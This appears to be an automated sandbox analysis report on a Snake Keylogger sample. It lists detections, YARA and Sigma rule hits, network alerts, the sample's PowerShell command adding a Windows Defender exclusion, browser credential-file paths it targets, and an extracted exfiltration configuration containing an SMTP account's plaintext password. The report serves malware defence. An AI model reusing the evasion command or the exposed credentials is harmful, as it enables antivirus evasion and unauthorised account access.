Edit tour

Windows Analysis Report
SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe

Overview

General Information

Sample name:	SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe
Analysis ID:	1482926
MD5:	967175d3aa79388fd8e84ccbf0b998c7
SHA1:	9bb041c883354d306a22ea0faf9c8deecd9f14c0
SHA256:	4607e74d7d23628239d2bdfc8d57236c09778517f758323e13fc9ca4092c07a7
Tags:	exe
Infos:

Detection

Snake Keylogger

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Yara detected AntiVM3

Yara detected Snake Keylogger

.NET source code contains potential unpacker

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Injects a PE file into a foreign processes

Loading BitLocker PowerShell Module

Machine Learning detection for sample

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Tries to detect the country of the analysis system (by using the IP)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Yara detected Generic Downloader

Allocates memory with a write watch (potentially for evading sandboxes)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Powershell Defender Exclusion

Sigma detected: Suspicious Outbound SMTP Connections

Uses 32bit PE files

Uses SMTP (mail sending)

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara signature match

Classification

Process Tree

System is w10x64

SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe (PID: 2924 cmdline: "C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe" MD5: 967175D3AA79388FD8E84CCBF0B998C7)

powershell.exe (PID: 3408 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 2640 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WmiPrvSE.exe (PID: 4408 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe (PID: 4040 cmdline: "C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe" MD5: 967175D3AA79388FD8E84CCBF0B998C7)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
404 Keylogger, Snake Keylogger	Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.	No Attribution	https://any.run/cybersecurity-blog/analyzing-snake-keylogger/ https://any.run/cybersecurity-blog/reverse-engineering-snake-keylogger/ https://blog.netlab.360.com/purecrypter https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/ https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord	https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Malware Configuration

Threatname: Snake Keylogger

{"Exfil Mode": "SMTP", "Username": "grafik@erkanlarofis.com.tr", "Password": "19261926+-", "Host": "mail.erkanlarofis.com.tr", "Port": "587"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000004.00000002.3267531741.0000000002C7D000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000004.00000002.3264630620.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000004.00000002.3264630620.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x14347:$a1: get_encryptedPassword 0x1462b:$a2: get_encryptedUsername 0x14153:$a3: get_timePasswordChanged 0x1424e:$a4: get_passwordField 0x1435d:$a5: set_encryptedPassword 0x159bb:$a7: get_logins 0x1591e:$a10: KeyLoggerEventArgs 0x15589:$a11: KeyLoggerEventArgsEventHandler
00000004.00000002.3264630620.0000000000402000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x17ca0:$x1: $%SMTPDV$ 0x17d06:$x2: $#TheHashHere%& 0x19369:$x3: %FTPDV$ 0x1945d:$x4: $%TelegramDv$ 0x15589:$x5: KeyLoggerEventArgs 0x1591e:$x5: KeyLoggerEventArgs 0x1938d:$m2: Clipboard Logs ID 0x195ad:$m2: Screenshot Logs ID 0x196bd:$m2: keystroke Logs ID 0x19997:$m3: SnakePW 0x19585:$m4: \SnakeKeylogger\
00000004.00000002.3267531741.0000000002B89000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000000.00000002.2031188002.0000000003706000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000000.00000002.2031188002.0000000003706000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x15057:$a1: get_encryptedPassword 0x35277:$a1: get_encryptedPassword 0x55297:$a1: get_encryptedPassword 0x1533b:$a2: get_encryptedUsername 0x3555b:$a2: get_encryptedUsername 0x5557b:$a2: get_encryptedUsername 0x14e63:$a3: get_timePasswordChanged 0x35083:$a3: get_timePasswordChanged 0x550a3:$a3: get_timePasswordChanged 0x14f5e:$a4: get_passwordField 0x3517e:$a4: get_passwordField 0x5519e:$a4: get_passwordField 0x1506d:$a5: set_encryptedPassword 0x3528d:$a5: set_encryptedPassword 0x552ad:$a5: set_encryptedPassword 0x166cb:$a7: get_logins 0x368eb:$a7: get_logins 0x5690b:$a7: get_logins 0x1662e:$a10: KeyLoggerEventArgs 0x3684e:$a10: KeyLoggerEventArgs 0x5686e:$a10: KeyLoggerEventArgs
00000000.00000002.2031188002.0000000003706000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x189b0:$x1: $%SMTPDV$ 0x38bd0:$x1: $%SMTPDV$ 0x58bf0:$x1: $%SMTPDV$ 0x18a16:$x2: $#TheHashHere%& 0x38c36:$x2: $#TheHashHere%& 0x58c56:$x2: $#TheHashHere%& 0x1a079:$x3: %FTPDV$ 0x3a299:$x3: %FTPDV$ 0x5a2b9:$x3: %FTPDV$ 0x1a16d:$x4: $%TelegramDv$ 0x3a38d:$x4: $%TelegramDv$ 0x5a3ad:$x4: $%TelegramDv$ 0x16299:$x5: KeyLoggerEventArgs 0x1662e:$x5: KeyLoggerEventArgs 0x364b9:$x5: KeyLoggerEventArgs 0x3684e:$x5: KeyLoggerEventArgs 0x564d9:$x5: KeyLoggerEventArgs 0x5686e:$x5: KeyLoggerEventArgs 0x1a09d:$m2: Clipboard Logs ID 0x1a2bd:$m2: Screenshot Logs ID 0x1a3cd:$m2: keystroke Logs ID
00000004.00000002.3267531741.00000000029C1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
Process Memory Space: SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe PID: 2924	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe PID: 2924	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
Process Memory Space: SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe PID: 2924	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xb59a2:$a1: get_encryptedPassword 0xb5c7c:$a2: get_encryptedUsername 0xb57b8:$a3: get_timePasswordChanged 0xb58b3:$a4: get_passwordField 0xb59b8:$a5: set_encryptedPassword 0xb7f74:$a7: get_logins 0xb7ed7:$a10: KeyLoggerEventArgs 0xb7b42:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe PID: 2924	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0xb7b42:$x5: KeyLoggerEventArgs 0xb7ed7:$x5: KeyLoggerEventArgs 0xb87de:$x5: KeyLoggerEventArgs 0xb8b3f:$x5: KeyLoggerEventArgs 0xba159:$m2: Clipboard Logs ID 0xba250:$m2: Screenshot Logs ID 0xba2a6:$m2: keystroke Logs ID 0xba3db:$m3: SnakePW 0xba23c:$m4: \SnakeKeylogger\
Process Memory Space: SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe PID: 4040	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
Process Memory Space: SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe PID: 4040	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x33326:$a1: get_encryptedPassword 0x33600:$a2: get_encryptedUsername 0x3313c:$a3: get_timePasswordChanged 0x33237:$a4: get_passwordField 0x3333c:$a5: set_encryptedPassword 0x358f8:$a7: get_logins 0x3585b:$a10: KeyLoggerEventArgs 0x354c6:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe PID: 4040	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x354c6:$x5: KeyLoggerEventArgs 0x3585b:$x5: KeyLoggerEventArgs 0x36162:$x5: KeyLoggerEventArgs 0x364c3:$x5: KeyLoggerEventArgs 0x37add:$m2: Clipboard Logs ID 0x37bd4:$m2: Screenshot Logs ID 0x37c2a:$m2: keystroke Logs ID 0x1b7fc:$m3: SnakePW 0x37d5f:$m3: SnakePW 0x37bc0:$m4: \SnakeKeylogger\
Click to see the 11 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.3706b10.4.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.3706b10.4.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x12747:$a1: get_encryptedPassword 0x12a2b:$a2: get_encryptedUsername 0x12553:$a3: get_timePasswordChanged 0x1264e:$a4: get_passwordField 0x1275d:$a5: set_encryptedPassword 0x13dbb:$a7: get_logins 0x13d1e:$a10: KeyLoggerEventArgs 0x13989:$a11: KeyLoggerEventArgsEventHandler
0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.3706b10.4.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x1a1ab:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x193dd:$a3: \Google\Chrome\User Data\Default\Login Data 0x19810:$a4: \Orbitum\User Data\Default\Login Data 0x1a84f:$a5: \Kometa\User Data\Default\Login Data
0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.3706b10.4.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x13316:$s1: UnHook 0x1331d:$s2: SetHook 0x13325:$s3: CallNextHook 0x13332:$s4: _hook
0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.3706b10.4.unpack	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x160a0:$x1: $%SMTPDV$ 0x16106:$x2: $#TheHashHere%& 0x17769:$x3: %FTPDV$ 0x1785d:$x4: $%TelegramDv$ 0x13989:$x5: KeyLoggerEventArgs 0x13d1e:$x5: KeyLoggerEventArgs 0x1778d:$m2: Clipboard Logs ID 0x179ad:$m2: Screenshot Logs ID 0x17abd:$m2: keystroke Logs ID 0x17d97:$m3: SnakePW 0x17985:$m4: \SnakeKeylogger\
0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.3726d30.2.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.3726d30.2.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x12747:$a1: get_encryptedPassword 0x12a2b:$a2: get_encryptedUsername 0x12553:$a3: get_timePasswordChanged 0x1264e:$a4: get_passwordField 0x1275d:$a5: set_encryptedPassword 0x13dbb:$a7: get_logins 0x13d1e:$a10: KeyLoggerEventArgs 0x13989:$a11: KeyLoggerEventArgsEventHandler
0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.3726d30.2.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x1a1ab:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x193dd:$a3: \Google\Chrome\User Data\Default\Login Data 0x19810:$a4: \Orbitum\User Data\Default\Login Data 0x1a84f:$a5: \Kometa\User Data\Default\Login Data
0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.3726d30.2.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x13316:$s1: UnHook 0x1331d:$s2: SetHook 0x13325:$s3: CallNextHook 0x13332:$s4: _hook
0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.3726d30.2.unpack	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x160a0:$x1: $%SMTPDV$ 0x16106:$x2: $#TheHashHere%& 0x17769:$x3: %FTPDV$ 0x1785d:$x4: $%TelegramDv$ 0x13989:$x5: KeyLoggerEventArgs 0x13d1e:$x5: KeyLoggerEventArgs 0x1778d:$m2: Clipboard Logs ID 0x179ad:$m2: Screenshot Logs ID 0x17abd:$m2: keystroke Logs ID 0x17d97:$m3: SnakePW 0x17985:$m4: \SnakeKeylogger\
4.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.400000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
4.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.400000.0.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
4.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.400000.0.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x14547:$a1: get_encryptedPassword 0x1482b:$a2: get_encryptedUsername 0x14353:$a3: get_timePasswordChanged 0x1444e:$a4: get_passwordField 0x1455d:$a5: set_encryptedPassword 0x15bbb:$a7: get_logins 0x15b1e:$a10: KeyLoggerEventArgs 0x15789:$a11: KeyLoggerEventArgsEventHandler
4.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.400000.0.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x1bfab:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x1b1dd:$a3: \Google\Chrome\User Data\Default\Login Data 0x1b610:$a4: \Orbitum\User Data\Default\Login Data 0x1c64f:$a5: \Kometa\User Data\Default\Login Data
4.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x15116:$s1: UnHook 0x1511d:$s2: SetHook 0x15125:$s3: CallNextHook 0x15132:$s4: _hook
4.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.400000.0.unpack	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x17ea0:$x1: $%SMTPDV$ 0x17f06:$x2: $#TheHashHere%& 0x19569:$x3: %FTPDV$ 0x1965d:$x4: $%TelegramDv$ 0x15789:$x5: KeyLoggerEventArgs 0x15b1e:$x5: KeyLoggerEventArgs 0x1958d:$m2: Clipboard Logs ID 0x197ad:$m2: Screenshot Logs ID 0x198bd:$m2: keystroke Logs ID 0x19b97:$m3: SnakePW 0x19785:$m4: \SnakeKeylogger\
0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.3726d30.2.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.3726d30.2.raw.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.3726d30.2.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x14547:$a1: get_encryptedPassword 0x34567:$a1: get_encryptedPassword 0x1482b:$a2: get_encryptedUsername 0x3484b:$a2: get_encryptedUsername 0x14353:$a3: get_timePasswordChanged 0x34373:$a3: get_timePasswordChanged 0x1444e:$a4: get_passwordField 0x3446e:$a4: get_passwordField 0x1455d:$a5: set_encryptedPassword 0x3457d:$a5: set_encryptedPassword 0x15bbb:$a7: get_logins 0x35bdb:$a7: get_logins 0x15b1e:$a10: KeyLoggerEventArgs 0x35b3e:$a10: KeyLoggerEventArgs 0x15789:$a11: KeyLoggerEventArgsEventHandler 0x357a9:$a11: KeyLoggerEventArgsEventHandler
0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.3726d30.2.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x1bfab:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3bfcb:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x1b1dd:$a3: \Google\Chrome\User Data\Default\Login Data 0x3b1fd:$a3: \Google\Chrome\User Data\Default\Login Data 0x1b610:$a4: \Orbitum\User Data\Default\Login Data 0x3b630:$a4: \Orbitum\User Data\Default\Login Data 0x1c64f:$a5: \Kometa\User Data\Default\Login Data 0x3c66f:$a5: \Kometa\User Data\Default\Login Data
0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.3726d30.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x15116:$s1: UnHook 0x35136:$s1: UnHook 0x1511d:$s2: SetHook 0x3513d:$s2: SetHook 0x15125:$s3: CallNextHook 0x35145:$s3: CallNextHook 0x15132:$s4: _hook 0x35152:$s4: _hook
0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.3726d30.2.raw.unpack	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x17ea0:$x1: $%SMTPDV$ 0x37ec0:$x1: $%SMTPDV$ 0x17f06:$x2: $#TheHashHere%& 0x37f26:$x2: $#TheHashHere%& 0x19569:$x3: %FTPDV$ 0x39589:$x3: %FTPDV$ 0x1965d:$x4: $%TelegramDv$ 0x3967d:$x4: $%TelegramDv$ 0x15789:$x5: KeyLoggerEventArgs 0x15b1e:$x5: KeyLoggerEventArgs 0x357a9:$x5: KeyLoggerEventArgs 0x35b3e:$x5: KeyLoggerEventArgs 0x1958d:$m2: Clipboard Logs ID 0x197ad:$m2: Screenshot Logs ID 0x198bd:$m2: keystroke Logs ID 0x395ad:$m2: Clipboard Logs ID 0x397cd:$m2: Screenshot Logs ID 0x398dd:$m2: keystroke Logs ID 0x19b97:$m3: SnakePW 0x39bb7:$m3: SnakePW 0x19785:$m4: \SnakeKeylogger\
0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.3706b10.4.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.3706b10.4.raw.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.3706b10.4.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x14547:$a1: get_encryptedPassword 0x34767:$a1: get_encryptedPassword 0x54787:$a1: get_encryptedPassword 0x1482b:$a2: get_encryptedUsername 0x34a4b:$a2: get_encryptedUsername 0x54a6b:$a2: get_encryptedUsername 0x14353:$a3: get_timePasswordChanged 0x34573:$a3: get_timePasswordChanged 0x54593:$a3: get_timePasswordChanged 0x1444e:$a4: get_passwordField 0x3466e:$a4: get_passwordField 0x5468e:$a4: get_passwordField 0x1455d:$a5: set_encryptedPassword 0x3477d:$a5: set_encryptedPassword 0x5479d:$a5: set_encryptedPassword 0x15bbb:$a7: get_logins 0x35ddb:$a7: get_logins 0x55dfb:$a7: get_logins 0x15b1e:$a10: KeyLoggerEventArgs 0x35d3e:$a10: KeyLoggerEventArgs 0x55d5e:$a10: KeyLoggerEventArgs
0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.3706b10.4.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x1bfab:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3c1cb:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x5c1eb:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x1b1dd:$a3: \Google\Chrome\User Data\Default\Login Data 0x3b3fd:$a3: \Google\Chrome\User Data\Default\Login Data 0x5b41d:$a3: \Google\Chrome\User Data\Default\Login Data 0x1b610:$a4: \Orbitum\User Data\Default\Login Data 0x3b830:$a4: \Orbitum\User Data\Default\Login Data 0x5b850:$a4: \Orbitum\User Data\Default\Login Data 0x1c64f:$a5: \Kometa\User Data\Default\Login Data 0x3c86f:$a5: \Kometa\User Data\Default\Login Data 0x5c88f:$a5: \Kometa\User Data\Default\Login Data
0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.3706b10.4.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x15116:$s1: UnHook 0x35336:$s1: UnHook 0x55356:$s1: UnHook 0x1511d:$s2: SetHook 0x3533d:$s2: SetHook 0x5535d:$s2: SetHook 0x15125:$s3: CallNextHook 0x35345:$s3: CallNextHook 0x55365:$s3: CallNextHook 0x15132:$s4: _hook 0x35352:$s4: _hook 0x55372:$s4: _hook
0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.3706b10.4.raw.unpack	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x17ea0:$x1: $%SMTPDV$ 0x380c0:$x1: $%SMTPDV$ 0x580e0:$x1: $%SMTPDV$ 0x17f06:$x2: $#TheHashHere%& 0x38126:$x2: $#TheHashHere%& 0x58146:$x2: $#TheHashHere%& 0x19569:$x3: %FTPDV$ 0x39789:$x3: %FTPDV$ 0x597a9:$x3: %FTPDV$ 0x1965d:$x4: $%TelegramDv$ 0x3987d:$x4: $%TelegramDv$ 0x5989d:$x4: $%TelegramDv$ 0x15789:$x5: KeyLoggerEventArgs 0x15b1e:$x5: KeyLoggerEventArgs 0x359a9:$x5: KeyLoggerEventArgs 0x35d3e:$x5: KeyLoggerEventArgs 0x559c9:$x5: KeyLoggerEventArgs 0x55d5e:$x5: KeyLoggerEventArgs 0x1958d:$m2: Clipboard Logs ID 0x197ad:$m2: Screenshot Logs ID 0x198bd:$m2: keystroke Logs ID
Click to see the 23 entries

Sigma Signatures

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe", ParentImage: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, ParentProcessId: 2924, ParentProcessName: SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe", ProcessId: 3408, ProcessName: powershell.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Suspicious Outbound SMTP Connections

Source: Network Connection

Author: frack113: Data: DestinationIp: 77.245.159.7, DestinationIsIpv6: false, DestinationPort: 587, EventID: 3, Image: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, Initiated: true, ProcessId: 4040, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49730

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe", ParentImage: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, ParentProcessId: 2924, ParentProcessName: SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe", ProcessId: 3408, ProcessName: powershell.exe

Snort Signatures

⊘No Snort rule has matched

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern UH - Source IP: 192.168.2.5 - Destination IP: 158.101.44.242

Timestamp:	2024-07-26T11:39:04.892508+0200
SID:	2803274
Source Port:	49706
Destination Port:	80
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE Common Downloader Header Pattern H - Source IP: 192.168.2.5 - Destination IP: 188.114.97.3

Timestamp:	2024-07-26T11:39:07.660193+0200
SID:	2803305
Source Port:	49713
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ETPRO MALWARE Common Downloader Header Pattern H - Source IP: 192.168.2.5 - Destination IP: 188.114.97.3

Timestamp:	2024-07-26T11:39:11.471883+0200
SID:	2803305
Source Port:	49719
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE Snake Keylogger Exfil via SMTP - Source IP: 192.168.2.5 - Destination IP: 77.245.159.7

Timestamp:	2024-07-26T11:39:45.208289+0200
SID:	2044767
Source Port:	49734
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Common Downloader Header Pattern H - Source IP: 192.168.2.5 - Destination IP: 188.114.97.3

Timestamp:	2024-07-26T11:39:06.402996+0200
SID:	2803305
Source Port:	49711
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow - Source IP: 20.12.23.50 - Destination IP: 192.168.2.5

Timestamp:	2024-07-26T11:39:17.988539+0200
SID:	2022930
Source Port:	443
Destination Port:	49724
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Snake Keylogger Exfil via SMTP - Source IP: 192.168.2.5 - Destination IP: 77.245.159.7

Timestamp:	2024-07-26T11:39:35.846618+0200
SID:	2044767
Source Port:	49731
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Common Downloader Header Pattern UH - Source IP: 192.168.2.5 - Destination IP: 158.101.44.242

Timestamp:	2024-07-26T11:39:05.782404+0200
SID:	2803274
Source Port:	49706
Destination Port:	80
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ET MALWARE Snake Keylogger Exfil via SMTP - Source IP: 192.168.2.5 - Destination IP: 77.245.159.7

